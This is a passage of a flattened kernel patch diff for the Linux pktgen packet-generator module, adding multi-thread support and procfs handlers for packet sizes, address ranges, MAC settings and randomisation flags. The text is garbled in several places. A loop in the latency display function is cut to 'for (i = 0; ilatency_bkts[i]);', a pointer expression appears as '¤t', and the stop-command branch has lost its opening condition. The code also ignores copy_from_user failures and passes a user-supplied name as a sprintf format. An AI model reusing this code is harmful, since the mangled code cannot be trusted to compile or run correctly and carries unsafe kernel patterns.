1); + + PG_DEBUG(printk("pgthread: %s done with stop_pktgen_kthread.\n", kthread->name)); +}/* stop_pktgen_kthread */ + + +/* initialize new created thread. Called by the new thread. */ +void init_pktgen_kthread(struct pktgen_thread_info *kthread, char *name) { + /* lock the kernel. A new kernel thread starts without + the big kernel lock, regardless of the lock state + of the creator (the lock level is *not* inheritated) + */ + lock_kernel(); + + /* fill in thread structure */ + kthread->thread = current; + + /* set signal mask to what we want to respond */ + siginitsetinv(¤t->blocked, sigmask(SIGKILL)|sigmask(SIGINT)|sigmask(SIGTERM)); + + /* initialise wait queue */ + init_waitqueue_head(&kthread->queue); + + /* initialise termination flag */ + kthread->terminate = 0; + + /* set name of this process (max 15 chars + 0 !) */ + sprintf(current->comm, name); + + /* let others run */ + unlock_kernel(); + + /* tell the creator that we are ready and let him continue */ + up(&kthread->startstop_sem); +}/* init_pktgen_kthread */ + +/* cleanup of thread. Called by the exiting thread. */ +static void exit_pktgen_kthread(struct pktgen_thread_info *kthread) { + /* we are terminating */ + + /* lock the kernel, the exit will unlock it */ + lock_kernel(); + kthread->thread = NULL; + mb(); + + /* Clean up proc file system */ + if (strlen(kthread->fname)) { + remove_proc_entry(kthread->fname, NULL); + } + + /* notify the stop_kthread() routine that we are terminating. */ + up(&kthread->startstop_sem); + /* the kernel_thread that called clone() does a do_exit here. */ + + /* there is no race here between execution of the "killer" and real termination + of the thread (race window between up and do_exit), since both the + thread and the "killer" function are running with the kernel lock held. + The kernel lock will be freed after the thread exited, so the code + is really not executed anymore as soon as the unload functions gets + the kernel lock back. + The init process may not have made the cleanup of the process here, + but the cleanup can be done safely with the module unloaded. + */ +}/* exit_pktgen_kthread */ + + /* proc/net/pg */ -static struct proc_dir_entry *pg_proc_ent = 0; -static struct proc_dir_entry *pg_busy_proc_ent = 0; +static char* pg_display_latency(struct pktgen_interface_info* info, char* p, int reset_latency) { + int i; + p += sprintf(p, " avg_latency: %dus min_lat: %dus max_lat: %dus pkts_in_sample: %llu\n", + info->avg_latency, info->min_latency, info->max_latency, + info->pkts_rcvd_since_clear); + p += sprintf(p, " Buckets(us) [ "); + for (i = 0; ilatency_bkts[i]); + } + p += sprintf(p, "]\n"); + + if (reset_latency) { + pg_reset_latency_counters(info); + } + return p; +} -static int proc_pg_busy_read(char *buf , char **start, off_t offset, - int len, int *eof, void *data) +static int proc_pg_if_read(char *buf , char **start, off_t offset, + int len, int *eof, void *data) { char *p; - + int i; + struct pktgen_interface_info* info = (struct pktgen_interface_info*)(data); + __u64 sa; + __u64 stopped; + __u64 now = getCurUs(); + __u64 now_rel_ns = getRelativeCurNs(); + p = buf; - p += sprintf(p, "%d\n", pg_busy); + p += sprintf(p, "VERSION-1\n"); /* Help with parsing compatibility */ + p += sprintf(p, "Params: count %llu min_pkt_size: %u max_pkt_size: %u\n frags: %d ipg: %u multiskb: %d ifname: %s\n", + info->count, info->min_pkt_size, info->max_pkt_size, + info->nfrags, info->ipg, info->multiskb, info->ifname); + p += sprintf(p, " dst_min: %s dst_max: %s\n src_min: %s src_max: %s\n", + info->dst_min, info->dst_max, info->src_min, info->src_max); + p += sprintf(p, " src_mac: "); + for (i = 0; i < 6; i++) { + p += sprintf(p, "%02X%s", info->src_mac[i], i == 5 ? " " : ":"); + } + p += sprintf(p, "dst_mac: "); + for (i = 0; i < 6; i++) { + p += sprintf(p, "%02X%s", info->dst_mac[i], i == 5 ? "\n" : ":"); + } + p += sprintf(p, " udp_src_min: %d udp_src_max: %d udp_dst_min: %d udp_dst_max: %d\n", + info->udp_src_min, info->udp_src_max, info->udp_dst_min, + info->udp_dst_max); + p += sprintf(p, " src_mac_count: %d dst_mac_count: %d peer_multiskb: %d\n Flags: ", + info->src_mac_count, info->dst_mac_count, info->peer_multiskb); + if (info->flags & F_IPSRC_RND) { + p += sprintf(p, "IPSRC_RND "); + } + if (info->flags & F_IPDST_RND) { + p += sprintf(p, "IPDST_RND "); + } + if (info->flags & F_TXSIZE_RND) { + p += sprintf(p, "TXSIZE_RND "); + } + if (info->flags & F_UDPSRC_RND) { + p += sprintf(p, "UDPSRC_RND "); + } + if (info->flags & F_UDPDST_RND) { + p += sprintf(p, "UDPDST_RND "); + } + if (info->flags & F_MACSRC_RND) { + p += sprintf(p, "MACSRC_RND "); + } + if (info->flags & F_MACDST_RND) { + p += sprintf(p, "MACDST_RND "); + } + p += sprintf(p, "\n"); + + sa = info->started_at; + stopped = info->stopped_at; + if (info->do_run_run) { + stopped = now; /* not really stopped, more like last-running-at */ + } + p += sprintf(p, "Current:\n pkts-sofar: %llu errors: %llu\n started: %lluus elapsed: %lluus\n idle: %lluns next_tx: %llu(%lli)ns\n", + info->sofar, info->errors, sa, (stopped - sa), info->idle_acc, + info->next_tx_ns, (long long)(info->next_tx_ns) - (long long)(now_rel_ns)); + p += sprintf(p, " seq_num: %d cur_dst_mac_offset: %d cur_src_mac_offset: %d\n", + info->seq_num, info->cur_dst_mac_offset, info->cur_src_mac_offset); + p += sprintf(p, " cur_saddr: 0x%x cur_daddr: 0x%x cur_udp_dst: %d cur_udp_src: %d\n", + info->cur_saddr, info->cur_daddr, info->cur_udp_dst, info->cur_udp_src); + p += sprintf(p, " pkts_rcvd: %llu bytes_rcvd: %llu last_seq_rcvd: %d ooo_rcvd: %llu\n", + info->pkts_rcvd, info->bytes_rcvd, info->last_seq_rcvd, info->ooo_rcvd); + p += sprintf(p, " dup_rcvd: %llu seq_gap_rcvd(dropped): %llu non_pg_rcvd: %llu\n", + info->dup_rcvd, info->seq_gap_rcvd, info->non_pg_pkts_rcvd); + + p = pg_display_latency(info, p, 0); + + if (info->result[0]) + p += sprintf(p, "Result: %s\n", info->result); + else + p += sprintf(p, "Result: Idle\n"); *eof = 1; - - return p-buf; + + return p - buf; } -static int proc_pg_read(char *buf , char **start, off_t offset, - int len, int *eof, void *data) + +static int proc_pg_thread_read(char *buf , char **start, off_t offset, + int len, int *eof, void *data) { char *p; - int i; - + struct pktgen_thread_info* pg_thread = (struct pktgen_thread_info*)(data); + struct pktgen_interface_info* info = NULL; + + if (!pg_thread) { + printk("ERROR: could not find pg_thread in proc_pg_thread_read\n"); + return -EINVAL; + } + p = buf; - p += sprintf(p, "Params: count=%u pkt_size=%u frags %d ipg %u multiskb %d odev \"%s\" dst %s dstmac ", - pg_count, pkt_size, nfrags, pg_ipg, pg_multiskb, - pg_outdev, pg_dst); - for (i = 0; i < 6; i++) - p += sprintf(p, "%02X%s", pg_dstmac[i], i == 5 ? "\n" : ":"); + p += sprintf(p, "VERSION-1\n"); /* Help with parsing compatibility */ + p += sprintf(p, "Name: %s max_before_softirq: %d\n", + pg_thread->name, pg_thread->max_before_softirq); + + pg_lock(pg_thread, __FUNCTION__); + if (pg_thread->cur_if) { + p += sprintf(p, "Current: %s\n", pg_thread->cur_if->ifname); + } + else { + p += sprintf(p, "Current: NULL\n"); + } + pg_unlock(pg_thread, __FUNCTION__); + + p += sprintf(p, "Running: "); + + pg_lock(pg_thread, __FUNCTION__); + info = pg_thread->running_if_infos; + while (info) { + p += sprintf(p, "%s ", info->ifname); + info = info->next; + } + p += sprintf(p, "\nStopped: "); + info = pg_thread->stopped_if_infos; + while (info) { + p += sprintf(p, "%s ", info->ifname); + info = info->next; + } - if (pg_result[0]) - p += sprintf(p, "Result: %s\n", pg_result); + if (pg_thread->result[0]) + p += sprintf(p, "\nResult: %s\n", pg_thread->result); else - p += sprintf(p, "Result: Idle\n"); + p += sprintf(p, "\nResult: NA\n"); *eof = 1; + pg_unlock(pg_thread, __FUNCTION__); + return p - buf; -} +}/* proc_pg_thread_read */ -static int count_trail_chars(const char *buffer, unsigned int maxlen) + +static int proc_pg_ctrl_read(char *buf , char **start, off_t offset, + int len, int *eof, void *data) +{ + char *p; + struct pktgen_thread_info* pg_thread = NULL; + + p = buf; + p += sprintf(p, "VERSION-1\n"); /* Help with parsing compatibility */ + p += sprintf(p, "Threads: "); + + pg_lock_thread_list(__FUNCTION__); + pg_thread = pktgen_threads; + while (pg_thread) { + p += sprintf(p, "%s ", pg_thread->name); + pg_thread = pg_thread->next; + } + p += sprintf(p, "\n"); + + *eof = 1; + + pg_unlock_thread_list(__FUNCTION__); + return p - buf; +}/* proc_pg_ctrl_read */ + + +static int count_trail_chars(const char *user_buffer, unsigned int maxlen) { int i; for (i = 0; i < maxlen; i++) { - switch (buffer[i]) { + char c; + if (get_user(c, &user_buffer[i])) + return -EFAULT; + switch (c) { case '\"': case '\n': case '\r': @@ -490,7 +1980,7 @@ return i; } -static unsigned long num_arg(const char *buffer, unsigned long maxlen, +static unsigned long num_arg(const char *user_buffer, unsigned long maxlen, unsigned long *num) { int i = 0; @@ -498,21 +1988,27 @@ *num = 0; for(; i < maxlen; i++) { - if ((buffer[i] >= '0') && (buffer[i] <= '9')) { + char c; + if (get_user(c, &user_buffer[i])) + return -EFAULT; + if ((c >= '0') && (c <= '9')) { *num *= 10; - *num += buffer[i] -'0'; + *num += c -'0'; } else break; } return i; } -static int strn_len(const char *buffer, unsigned int maxlen) +static int strn_len(const char *user_buffer, unsigned int maxlen) { int i = 0; for(; i < maxlen; i++) { - switch (buffer[i]) { + char c; + if (get_user(c, &user_buffer[i])) + return -EFAULT; + switch (c) { case '\"': case '\n': case '\r': @@ -526,117 +2022,391 @@ return i; } -static int proc_pg_write(struct file *file, const char *buffer, - unsigned long count, void *data) +static int proc_pg_if_write(struct file *file, const char *user_buffer, + unsigned long count, void *data) { int i = 0, max, len; char name[16], valstr[32]; unsigned long value = 0; - + struct pktgen_interface_info* info = (struct pktgen_interface_info*)(data); + char* pg_result = NULL; + int tmp = 0; + + pg_result = &(info->result[0]); + if (count < 1) { sprintf(pg_result, "Wrong command format"); return -EINVAL; } max = count - i; - i += count_trail_chars(&buffer[i], max); - + tmp = count_trail_chars(&user_buffer[i], max); + if (tmp < 0) { return tmp; } + i += tmp; + /* Read variable name */ - len = strn_len(&buffer[i], sizeof(name) - 1); + len = strn_len(&user_buffer[i], sizeof(name) - 1); + if (len < 0) { return len; } memset(name, 0, sizeof(name)); - strncpy(name, &buffer[i], len); + copy_from_user(name, &user_buffer[i], len); i += len; max = count -i; - len = count_trail_chars(&buffer[i], max); + len = count_trail_chars(&user_buffer[i], max); + if (len < 0) { + return len; + } i += len; - if (debug) - printk("pg: %s,%lu\n", name, count); + if (debug) { + char tb[count + 1]; + copy_from_user(tb, user_buffer, count); + tb[count] = 0; + printk("pg: %s,%lu buffer -:%s:-\n", name, count, tb); + } - /* Only stop is allowed when we are running */ - if (!strcmp(name, "stop")) { - forced_stop = 1; - if (pg_busy) + if (info->do_run_run) { strcpy(pg_result, "Stopping"); + pg_stop_interface(info->pg_thread, info); + } + else { + strcpy(pg_result, "Already stopped...\n"); + } return count; } - if (pg_busy) { - strcpy(pg_result, "Busy"); - return -EINVAL; + if (!strcmp(name, "min_pkt_size")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + if (value < 14+20+8) + value = 14+20+8; + if (value != info->min_pkt_size) { + info->min_pkt_size = value; + info->cur_pkt_size = value; + } + sprintf(pg_result, "OK: min_pkt_size=%u", info->min_pkt_size); + return count; } - if (!strcmp(name, "pkt_size")) { - len = num_arg(&buffer[i], 10, &value); + if (!strcmp(name, "debug")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + debug = value; + sprintf(pg_result, "OK: debug=%u", debug); + return count; + } + + if (!strcmp(name, "max_pkt_size")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; if (value < 14+20+8) value = 14+20+8; - pkt_size = value; - sprintf(pg_result, "OK: pkt_size=%u", pkt_size); + if (value != info->max_pkt_size) { + info->max_pkt_size = value; + info->cur_pkt_size = value; + } + sprintf(pg_result, "OK: max_pkt_size=%u", info->max_pkt_size); return count; } - if (!strcmp(name, "frags")) { - len = num_arg(&buffer[i], 10, &value); + + if (!strcmp(name, "frags")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; - nfrags = value; - sprintf(pg_result, "OK: frags=%u", nfrags); + info->nfrags = value; + sprintf(pg_result, "OK: frags=%u", info->nfrags); return count; } if (!strcmp(name, "ipg")) { - len = num_arg(&buffer[i], 10, &value); + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + info->ipg = value; + if ((getRelativeCurNs() + info->ipg) > info->next_tx_ns) { + info->next_tx_ns = getRelativeCurNs() + info->ipg; + } + sprintf(pg_result, "OK: ipg=%u", info->ipg); + return count; + } + if (!strcmp(name, "udp_src_min")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; - pg_ipg = value; - sprintf(pg_result, "OK: ipg=%u", pg_ipg); + if (value != info->udp_src_min) { + info->udp_src_min = value; + info->cur_udp_src = value; + } + sprintf(pg_result, "OK: udp_src_min=%u", info->udp_src_min); + return count; + } + if (!strcmp(name, "udp_dst_min")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + if (value != info->udp_dst_min) { + info->udp_dst_min = value; + info->cur_udp_dst = value; + } + sprintf(pg_result, "OK: udp_dst_min=%u", info->udp_dst_min); + return count; + } + if (!strcmp(name, "udp_src_max")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + if (value != info->udp_src_max) { + info->udp_src_max = value; + info->cur_udp_src = value; + } + sprintf(pg_result, "OK: udp_src_max=%u", info->udp_src_max); + return count; + } + if (!strcmp(name, "udp_dst_max")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + if (value != info->udp_dst_max) { + info->udp_dst_max = value; + info->cur_udp_dst = value; + } + sprintf(pg_result, "OK: udp_dst_max=%u", info->udp_dst_max); return count; } if (!strcmp(name, "multiskb")) { - len = num_arg(&buffer[i], 10, &value); + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; - pg_multiskb = (value ? 1 : 0); - sprintf(pg_result, "OK: multiskb=%d", pg_multiskb); + info->multiskb = value; + + sprintf(pg_result, "OK: multiskb=%d", info->multiskb); + return count; + } + if (!strcmp(name, "peer_multiskb")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + info->peer_multiskb = value; + + sprintf(pg_result, "OK: peer_multiskb=%d", info->peer_multiskb); return count; } if (!strcmp(name, "count")) { - len = num_arg(&buffer[i], 10, &value); + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; - if (value != 0) { - pg_count = value; - sprintf(pg_result, "OK: count=%u", pg_count); - } else - sprintf(pg_result, "ERROR: no point in sending 0 packets. Leaving count=%u", pg_count); + info->count = value; + sprintf(pg_result, "OK: count=%llu", info->count); return count; } - if (!strcmp(name, "odev")) { - len = strn_len(&buffer[i], sizeof(pg_outdev) - 1); - memset(pg_outdev, 0, sizeof(pg_outdev)); - strncpy(pg_outdev, &buffer[i], len); + if (!strcmp(name, "src_mac_count")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } i += len; - sprintf(pg_result, "OK: odev=%s", pg_outdev); + if (info->src_mac_count != value) { + info->src_mac_count = value; + info->cur_src_mac_offset = 0; + } + sprintf(pg_result, "OK: src_mac_count=%d", info->src_mac_count); return count; } - if (!strcmp(name, "dst")) { - len = strn_len(&buffer[i], sizeof(pg_dst) - 1); - memset(pg_dst, 0, sizeof(pg_dst)); - strncpy(pg_dst, &buffer[i], len); + if (!strcmp(name, "dst_mac_count")) { + len = num_arg(&user_buffer[i], 10, &value); + if (len < 0) { return len; } + i += len; + if (info->dst_mac_count != value) { + info->dst_mac_count = value; + info->cur_dst_mac_offset = 0; + } + sprintf(pg_result, "OK: dst_mac_count=%d", info->dst_mac_count); + return count; + } + if (!strcmp(name, "flag")) { + char f[32]; + memset(f, 0, 32); + len = strn_len(&user_buffer[i], sizeof(f) - 1); + if (len < 0) { return len; } + copy_from_user(f, &user_buffer[i], len); + i += len; + if (strcmp(f, "IPSRC_RND") == 0) { + info->flags |= F_IPSRC_RND; + } + else if (strcmp(f, "!IPSRC_RND") == 0) { + info->flags &= ~F_IPSRC_RND; + } + else if (strcmp(f, "TXSIZE_RND") == 0) { + info->flags |= F_TXSIZE_RND; + } + else if (strcmp(f, "!TXSIZE_RND") == 0) { + info->flags &= ~F_TXSIZE_RND; + } + else if (strcmp(f, "IPDST_RND") == 0) { + info->flags |= F_IPDST_RND; + } + else if (strcmp(f, "!IPDST_RND") == 0) { + info->flags &= ~F_IPDST_RND; + } + else if (strcmp(f, "UDPSRC_RND") == 0) { + info->flags |= F_UDPSRC_RND; + } + else if (strcmp(f, "!UDPSRC_RND") == 0) { + info->flags &= ~F_UDPSRC_RND; + } + else if (strcmp(f, "UDPDST_RND") == 0) { + info->flags |= F_UDPDST_RND; + } + else if (strcmp(f, "!UDPDST_RND") == 0) { + info->flags &= ~F_UDPDST_RND; + } + else if (strcmp(f, "MACSRC_RND") == 0) { + info->flags |= F_MACSRC_RND; + } + else if (strcmp(f, "!MACSRC_RND") == 0) { + info->flags &= ~F_MACSRC_RND; + } + else if (strcmp(f, "MACDST_RND") == 0) { + info->flags |= F_MACDST_RND; + } + else if (strcmp(f, "!MACDST_RND") == 0) { + info->flags &= ~F_MACDST_RND; + } + else { + sprintf(pg_result, "Flag -:%s:- unknown\nAvailable flags, (prepend ! to un-set flag):\n%s", + f, + "IPSRC_RND, IPDST_RND, TXSIZE_RND, UDPSRC_RND, UDPDST_RND, MACSRC_RND, MACDST_RND\n"); + return count; + } + sprintf(pg_result, "OK: flags=0x%x", info->flags); + return count; + } + if (!strcmp(name, "dst_min") || !strcmp(name, "dst")) { + char buf[IP_NAME_SZ]; + len = strn_len(&user_buffer[i], sizeof(info->dst_min) - 1); + if (len < 0) { return len; } + copy_from_user(buf, &user_buffer[i], len); + buf[len] = 0; + if (strcmp(buf, info->dst_min) != 0) { + memset(info->dst_min, 0, sizeof(info->dst_min)); + strncpy(info->dst_min, buf, len); + info->daddr_min = in_aton(info->dst_min); + info->cur_daddr = info->daddr_min; + } + if(debug) + printk("pg: dst_min set to: %s\n", info->dst_min); + i += len; + sprintf(pg_result, "OK: dst_min=%s", info->dst_min); + return count; + } + if (!strcmp(name, "dst_max")) { + char buf[IP_NAME_SZ]; + len = strn_len(&user_buffer[i], sizeof(info->dst_max) - 1); + if (len < 0) { return len; } + copy_from_user(buf, &user_buffer[i], len); + buf[len] = 0; + if (strcmp(buf, info->dst_max) != 0) { + memset(info->dst_max, 0, sizeof(info->dst_max)); + strncpy(info->dst_max, buf, len); + info->daddr_max = in_aton(info->dst_max); + info->cur_daddr = info->daddr_max; + } + if(debug) + printk("pg: dst_max set to: %s\n", info->dst_max); + i += len; + sprintf(pg_result, "OK: dst_max=%s", info->dst_max); + return count; + } + if (!strcmp(name, "src_min")) { + char buf[IP_NAME_SZ]; + len = strn_len(&user_buffer[i], sizeof(info->src_min) - 1); + if (len < 0) { return len; } + copy_from_user(buf, &user_buffer[i], len); + buf[len] = 0; + if (strcmp(buf, info->src_min) != 0) { + memset(info->src_min, 0, sizeof(info->src_min)); + strncpy(info->src_min, buf, len); + info->saddr_min = in_aton(info->src_min); + info->cur_saddr = info->saddr_min; + } + if(debug) + printk("pg: src_min set to: %s\n", info->src_min); + i += len; + sprintf(pg_result, "OK: src_min=%s", info->src_min); + return count; + } + if (!strcmp(name, "src_max")) { + char buf[IP_NAME_SZ]; + len = strn_len(&user_buffer[i], sizeof(info->src_max) - 1); + if (len < 0) { return len; } + copy_from_user(buf, &user_buffer[i], len); + buf[len] = 0; + if (strcmp(buf, info->src_max) != 0) { + memset(info->src_max, 0, sizeof(info->src_max)); + strncpy(info->src_max, buf, len); + info->saddr_max = in_aton(info->src_max); + info->cur_saddr = info->saddr_max; + } if(debug) - printk("pg: dst set to: %s\n", pg_dst); + printk("pg: src_max set to: %s\n", info->src_max); i += len; - sprintf(pg_result, "OK: dst=%s", pg_dst); + sprintf(pg_result, "OK: src_max=%s", info->src_max); + return count; + } + if (!strcmp(name, "dst_mac")) { + char *v = valstr; + unsigned char old_dmac[6]; + unsigned char *m = info->dst_mac; + memcpy(old_dmac, info->dst_mac, 6); + + len = strn_len(&user_buffer[i], sizeof(valstr) - 1); + if (len < 0) { return len; } + memset(valstr, 0, sizeof(valstr)); + copy_from_user(valstr, &user_buffer[i], len); + i += len; + + for(*m = 0;*v && m < info->dst_mac + 6; v++) { + if (*v >= '0' && *v <= '9') { + *m *= 16; + *m += *v - '0'; + } + if (*v >= 'A' && *v <= 'F') { + *m *= 16; + *m += *v - 'A' + 10; + } + if (*v >= 'a' && *v <= 'f') { + *m *= 16; + *m += *v - 'a' + 10; + } + if (*v == ':') { + m++; + *m = 0; + } + } + + if (memcmp(old_dmac, info->dst_mac, 6) != 0) { + /* Set up Dest MAC */ + memcpy(&(info->hh[0]), info->dst_mac, 6); + } + + sprintf(pg_result, "OK: dstmac"); return count; } - if (!strcmp(name, "dstmac")) { + if (!strcmp(name, "src_mac")) { char *v = valstr; - unsigned char *m = pg_dstmac; + unsigned char old_smac[6]; + unsigned char *m = info->src_mac; - len = strn_len(&buffer[i], sizeof(valstr) - 1); + memcpy(old_smac, info->src_mac, 6); + len = strn_len(&user_buffer[i], sizeof(valstr) - 1); + if (len < 0) { return len; } memset(valstr, 0, sizeof(valstr)); - strncpy(valstr, &buffer[i], len); + copy_from_user(valstr, &user_buffer[i], len); i += len; - for(*m = 0;*v && m < pg_dstmac + 6; v++) { + for(*m = 0;*v && m < info->src_mac + 6; v++) { if (*v >= '0' && *v <= '9') { *m *= 16; *m += *v - '0'; @@ -654,66 +2424,536 @@ *m = 0; } } - sprintf(pg_result, "OK: dstmac"); + + if (memcmp(old_smac, info->src_mac, 6) != 0) { + /* Default to the interface's mac if not explicitly set. */ + if ((!(info->flags & F_SET_SRCMAC)) && info->odev) { + memcpy(&(info->hh[6]), info->odev->dev_addr, 6); + } + else { + memcpy(&(info->hh[6]), info->src_mac, 6); + } + } + + sprintf(pg_result, "OK: srcmac"); return count; } + if (!strcmp(name, "clear_counters")) { + pg_clear_counters(info); + sprintf(pg_result, "OK: Clearing counters...\n"); + return count; + } + if (!strcmp(name, "inject") || !strcmp(name, "start")) { - MOD_INC_USE_COUNT; - pg_busy = 1; - strcpy(pg_result, "Starting"); - pg_inject(); - pg_busy = 0; - MOD_DEC_USE_COUNT; + if (info->do_run_run) { + strcpy(info->result, "Already running...\n"); + } + else { + int rv; + if ((rv = pg_start_interface(info->pg_thread, info)) >= 0) { + strcpy(info->result, "Starting"); + } + else { + sprintf(info->result, "Error starting: %i\n", rv); + } + } return count; } - sprintf(pg_result, "No such parameter \"%s\"", name); + sprintf(info->result, "No such parameter \"%s\"", name); + return -EINVAL; +}/* proc_pg_if_write */ + + +static int proc_pg_ctrl_write(struct file *file, const char *user_buffer, + unsigned long count, void *data) +{ + int i = 0, max, len; + char name[16]; + struct pktgen_thread_info* pg_thread = NULL; + + if (count < 1) { + printk("Wrong command format"); + return -EINVAL; + } + + max = count - i; + len = count_trail_chars(&user_buffer[i], max); + if (len < 0) { return len; } + i += len; + + /* Read variable name */ + + len = strn_len(&user_buffer[i], sizeof(name) - 1); + if (len < 0) { return len; } + memset(name, 0, sizeof(name)); + copy_from_user(name, &user_buffer[i], len); + i += len; + + max = count -i; + len = count_trail_chars(&user_buffer[i], max); + if (len < 0) { return len; } + i += len; + + if (debug) + printk("pg_thread: %s,%lu\n", name, count); + + if (!strcmp(name, "stop")) { + char f[32]; + memset(f, 0, 32); + len = strn_len(&user_buffer[i], sizeof(f) - 1); + if (len < 0) { return len; } + copy_from_user(f, &user_buffer[i], len); + i += len; + pg_thread = pg_find_thread(f); + if (pg_thread) { + printk("pktgen INFO: stopping thread: %s\n", pg_thread->name); + stop_pktgen_kthread(pg_thread); + } + return count; + } + + if (!strcmp(name, "start")) { + char f[32]; + memset(f, 0, 32); + len = strn_len(&user_buffer[i], sizeof(f) - 1); + if (len < 0) { return len; } + copy_from_user(f, &user_buffer[i], len); + i += len; + pg_add_thread_info(f); + return count; + } + + return -EINVAL; +}/* proc_pg_ctrl_write */ + + +static int proc_pg_thread_write(struct file *file, const char *user_buffer, + unsigned long count, void *data) +{ + int i = 0, max, len; + char name[16]; + struct pktgen_thread_info* pg_thread = (struct pktgen_thread_info*)(data); + char* pg_result = &(pg_thread->result[0]); + unsigned long value = 0; + + if (count < 1) { + sprintf(pg_result, "Wrong command format"); + return -EINVAL; + } + + max = count - i; + len = count_trail_chars(&user_buffer[i], max); + if (len < 0) { return len; } + i += len; + + /* Read variable name */ + + len = strn_len(&user_buffer[i], sizeof(name) - 1); + if (len < 0) { return len; } + memset(name, 0, sizeof(name)); + copy_from_user(name, &user_buffer[i], len); + i += len; + + max = count -i; + len = count_trail_chars(&user_buffer[i], max); + if (len < 0) { return len; } + i += len; + + if (debug) { + printk("pg_thread: %s,%lu\n", name, count); + } + + if (!strcmp(name, "add_interface")) { + char f[32]; + memset(f, 0, 32); + len = strn_len(&user_buffer[i], sizeof(f) - 1); + if (len < 0) { return len; } + copy_from_user(f, &user_buffer[i], len); + i += len; + pg_add_interface_info(pg_thread, f); + return count; + } + + if (!strcmp(name, "rem_interface")) { + struct pktgen_interface_info* info = NULL; + char f[32]; + memset(f, 0, 32); + len = strn_len(&user_buffer[i], sizeof(f) - 1); + if (len < 0) { return len; } + copy_from_user(f, &user_buffer[i], len); + i += len; + info = pg_find_interface(pg_thread, f); + if (info) { + pg_rem_interface_info(pg_thread, info); + return count; + } + else { + printk("ERROR: That interface is not found.\n"); + return -ENODEV; + } + } + + if (!strcmp(name, "max_before_softirq")) { + len = num_arg(&user_buffer[i], 10, &value); + pg_thread->max_before_softirq = value; + return count; + } + + return -EINVAL; +}/* proc_pg_thread_write */ + + +int create_proc_dir(void) +{ + int len; + /* does proc_dir already exists */ + len = strlen(PG_PROC_DIR); + + for (pg_proc_dir = proc_net->subdir; pg_proc_dir; pg_proc_dir=pg_proc_dir->next) { + if ((pg_proc_dir->namelen == len) && + (! memcmp(pg_proc_dir->name, PG_PROC_DIR, len))) { + break; + } + } + + if (!pg_proc_dir) { + pg_proc_dir = create_proc_entry(PG_PROC_DIR, S_IFDIR, proc_net); + } + + if (!pg_proc_dir) { + return -ENODEV; + } + + return 0; } -static int __init pg_init(void) +int remove_proc_dir(void) { + remove_proc_entry(PG_PROC_DIR, proc_net); + return 0; +} + +static struct pktgen_interface_info* pg_find_interface(struct pktgen_thread_info* pg_thread, + const char* ifname) { + struct pktgen_interface_info* rv = NULL; + pg_lock(pg_thread, __FUNCTION__); + + if (pg_thread->cur_if && (strcmp(pg_thread->cur_if->ifname, ifname) == 0)) { + rv = pg_thread->cur_if; + goto found; + } + + rv = pg_thread->running_if_infos; + while (rv) { + if (strcmp(rv->ifname, ifname) == 0) { + goto found; + } + rv = rv->next; + } + + rv = pg_thread->stopped_if_infos; + while (rv) { + if (strcmp(rv->ifname, ifname) == 0) { + goto found; + } + rv = rv->next; + } + found: + pg_unlock(pg_thread, __FUNCTION__); + return rv; +}/* pg_find_interface */ + + +static int pg_add_interface_info(struct pktgen_thread_info* pg_thread, const char* ifname) { + struct pktgen_interface_info* i = pg_find_interface(pg_thread, ifname); + if (!i) { + i = kmalloc(sizeof(struct pktgen_interface_info), GFP_KERNEL); + if (!i) { + return -ENOMEM; + } + memset(i, 0, sizeof(struct pktgen_interface_info)); + + i->min_pkt_size = ETH_ZLEN; + i->max_pkt_size = ETH_ZLEN; + i->nfrags = 0; + i->multiskb = pg_multiskb_d; + i->peer_multiskb = 0; + i->ipg = pg_ipg_d; + i->count = pg_count_d; + i->sofar = 0; + i->hh[12] = 0x08; /* fill in protocol. Rest is filled in later. */ + i->hh[13] = 0x00; + i->udp_src_min = 9; /* sink NULL */ + i->udp_src_max = 9; + i->udp_dst_min = 9; + i->udp_dst_max = 9; + i->rcv = pktgen_receive; + + strncpy(i->ifname, ifname, 31); + sprintf(i->fname, "net/%s/%s", PG_PROC_DIR, ifname); + + if (! pg_setup_interface(i)) { + printk("ERROR: pg_setup_interface failed.\n"); + kfree(i); + return -ENODEV; + } + + i->proc_ent = create_proc_entry(i->fname, 0600, 0); + if (!i->proc_ent) { + printk("pktgen: Error: cannot create %s procfs entry.\n", i->fname); + kfree(i); + return -EINVAL; + } + i->proc_ent->read_proc = proc_pg_if_read; + i->proc_ent->write_proc = proc_pg_if_write; + i->proc_ent->data = (void*)(i); + + return add_interface_to_thread(pg_thread, i); + } + else { + printk("ERROR: interface already exists.\n"); + return -EBUSY; + } +}/* pg_add_interface_info */ + + +/* return the first !in_use thread structure */ +static struct pktgen_thread_info* pg_gc_thread_list_helper(void) { + struct pktgen_thread_info* rv = NULL; + + pg_lock_thread_list(__FUNCTION__); + + rv = pktgen_threads; + while (rv) { + if (!rv->in_use) { + break; + } + rv = rv->next; + } + pg_unlock_thread_list(__FUNCTION__); + return rv; +}/* pg_find_thread */ + +static void pg_gc_thread_list(void) { + struct pktgen_thread_info* t = NULL; + struct pktgen_thread_info* w = NULL; + + while ((t = pg_gc_thread_list_helper())) { + pg_lock_thread_list(__FUNCTION__); + if (pktgen_threads == t) { + pktgen_threads = t->next; + kfree(t); + } + else { + w = pktgen_threads; + while (w) { + if (w->next == t) { + w->next = t->next; + t->next = NULL; + kfree(t); + break; + } + w = w->next; + } + } + pg_unlock_thread_list(__FUNCTION__); + } +}/* pg_gc_thread_list */ + + +static struct pktgen_thread_info* pg_find_thread(const char* name) { + struct pktgen_thread_info* rv = NULL; + + pg_gc_thread_list(); + + pg_lock_thread_list(__FUNCTION__); + + rv = pktgen_threads; + while (rv) { + if 